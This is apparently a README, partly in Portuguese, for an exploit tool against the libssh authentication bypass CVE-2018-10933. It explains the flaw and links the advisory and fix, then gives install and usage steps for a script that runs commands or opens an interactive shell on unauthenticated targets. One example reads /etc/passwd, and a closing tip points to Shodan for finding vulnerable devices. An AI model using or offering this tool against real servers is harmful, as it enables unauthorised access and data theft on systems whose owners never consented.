
libSSH-Authentication-Bypass
Uma vulnerabilidade foi encontrada na máquina de estado do lado servidor do libssh antes das versões 0.7.6 e 0.8.4. Um cliente malicioso poderia criar canais sem realizar autenticação primeiro, resultando em acesso não autorizado.
O problema vem do fato de o libssh não manter estado para a autenticação e como isso pode ser usado para contornar a autenticação. Basicamente, pense na conexão como um processo de várias etapas: etapa1, etapa2, etapa3... Como o libssh não impõe a ordem das etapas, você pode basicamente pular para a etapa3 sem passar pelas etapas1 e 2.
Curiosamente, o mesmo problema foi encontrado anteriormente na biblioteca SSH Paramiko: CVE-2018-7750.
Exploit-DB : https://www.exploit-db.com/exploits/45638
Informações sobre CVE-2018-10933 por libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
Lançamento de correção por libSSH : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
sudo apt-get install python3
gh repo clone EmmanuelCruzL/CVE-2018-10933
pip3 install -r requirements.txt
python3 main.py
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host
Script for the vulnerabilities CVE-2018-10933
positional arguments:
host the ip or domain address of ssh server
options:
-h, --help show this help message and exit
-p PORT, --port PORT The port the service ssh, default [22]
-log, --logfile Logfile to write conn logs
-t, --test check the version of libSSH
-c COMMAND, --command COMMAND
command to execute
-i, --interactive open the interactive mode
python3 main.py 0.0.0.0 -port 22 -t

python3 main.py 0.0.0.0 -p 22 -c "cat /etc/passwd"

python3 main.py 0.0.0.0 -p 22 -l

[!] can find devices vulnerables using shodan.io
- ( 22 Port is default, other ports like (2222, 3333, 4444) might be including libSSH )
